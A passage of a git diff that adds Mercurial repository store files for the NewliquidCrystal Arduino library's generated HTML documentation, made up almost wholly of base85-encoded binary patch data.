zva>buGfn_a4xDI0acx_>LybmDCN!KqkuGqxoKF4&GNlW8i<@}iI>nYqg>Z5$i20%= zTpiC{JnWb&?-8@iI64T~Ggc#!cej%~R3 zu49?Dl_9v46yxa-Yyor(!jcvtx=#ZbJq5>&bM2wuTTd94j;acKh2VIV?LsHX3!e7#5^PWMl!$omp~-IeXxtHTYj2@v#H*1$LcH9 z-iu4dq*n{$ZFn~%{Sk99qlSbWyINI-8h^9W%BVlDTT{e@>?zrpx=1r@biX(1g_&P; z9~Hz*7kRjpG-jJN*m0a@6h=yFRd7)+%@Ty|zyTv6*EHFpf4@XFT;uj(AuTSOgYQBe z8fg^|C$R2^CaWl$&>&u@UgBZqOTavGQ6HUkXU||K6!7Cu)QG=AqYq!cu#cRz2AIFV zT&sq*BT1GHBVL8hpZdYm?X6O{!Q;Ja`%;Y3rOx_pT{qO^Y2pm{TZ!3g4@=IeWJI2f qp!@vs25Z2F-sIWx>P=yVZ5>W`x4P(lbgbzYQR)!XMmqOFP9V- zkjLxk;SvO-IYF3%4M;wi$R+@!Ts>VJLn;{G-gV@4P~>3_=vtdOt5H9J?Lv#*340yI z=2EVzoO{!}G7Rs}&@THM#LvOz!}@Z0g~PamF)(Ze(I6iLZzvG4FA@B>^x(hizKx|?h0_*FK-It~ z4j=>M?HVA)=>u<=4|0J%;Ap$(o;~vSsZxgScm4Qq4((XgE`6`q+ugwPeqvDe3SC9i>{r~{nk#z6? literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/doc.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/doc.png.i new file mode 100644 index 0000000000000000000000000000000000000000..baaf0383ad126e66d7f0796e2fc814033e3f1039 GIT binary patch literal 811 zcmV+`1JwKg0RRC20000000Qd(00Qa&00000006cB|NsC0|NsA7cW_LNY|_q>jdh&( zHB(f7K$6k`00000000000001WiBL{Q4GJ0x0000DNk~Le0000O0000M2nGNE0NQ0ZWe`v*LIF3Qzvc8E zA-UZVXL2^nayD;EV(WqaqZR)trFXrgEmLL-Hay1pDR4P*_R%Qk` z_BnNu4b`Iucbob1VH*QI%{+V3p;e3y_j0c*$>n53&qgHZ0kDOm0_neCdj7l4`u0wd zwcM^AFi|t3eqUb8^Wv{gJ%|8ya8%&2Or4%oeTeRBafZ@uJRiKy(?42hzgVO1U;f>t zTPcGHUKLDy%#IW}xbq@dl002ovPDHLkV1fWsaf1K= literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/doxygen.css.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/doxygen.css.i new file mode 100644 index 0000000000000000000000000000000000000000..89553bbd641e898b37a46ea98356b3a1fcaefbf8 GIT binary patch literal 7592 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 C8U^P7 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/files.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/files.html.i new file mode 100644 index 0000000000000000000000000000000000000000..046c3b4d741a6ab5561b51e85a58319d0586aab6 GIT binary patch literal 4778 zcmXw4byO70+g*@Gx5vWyC6(^(S_C8(1Oy}`C8Y#GO1fN9Kw&|; zL4lw6z280OxpU{t{bOd%dF}(i0$>6D0dF4wU}O6~4Jf<)4_xYGbd*?dZX-0*!TO*k z$5f3*;6Km5#TT{o+;kY^Ia@yuVrdWzcp@weo?|f zivN0l9}S-@#!=@=byZeK+C9Gx`t$Iz4>=?9b<5VA zPJ%Iv)V*f5j%dGBT6c*EJmRyz40YAePy@*7RS-fNysq4O?9CVHkfq3KGFouofX`cj z*%P?b29+$kuFlf6j6@}iHCd!%DRkHT1Tlfjs0O0z$0T|Xv6V>Wn^t*AB)IBuZ_yVc zk2)@VM1*N$TJSeDo%hM-h-wt2Za^@F? zDyfV;2hXuV?j4**Zo_4rq+)Kaby^toOcVz4tUq4#zp#7(k?)n4tK|2E+q?m1;K7fq)u;4^2e2)`Fb-!Gz(SiagJKut4EoR}+o^j{Om*E%N-xT8g(7s~1hSLMdOPgj&NwO* zTQN{a)T)=W4Psi@X=jiO*-4zZDl%N^g{ks;tXRaoOa}Mz)G63#v3}UV10|!( zm~w*f0>m-HQInAl;f$>`P7lAUd}N{X@fFI3kTF=>yC~V~e$D-sy?$0nOtsD4E;MW% z^NzT-*Q7>qGN`90bXnA_u}=P%IVEi?FqnfXCno-rtdQX#P=~z%eUAeg^fs>|2G{QF zGA^B*vz=NZx}sRUM>Ee~Gd(VPff4mHnHJ=g?N%mjJY0SpdyzBZh@4pCDiPu4d*5Br 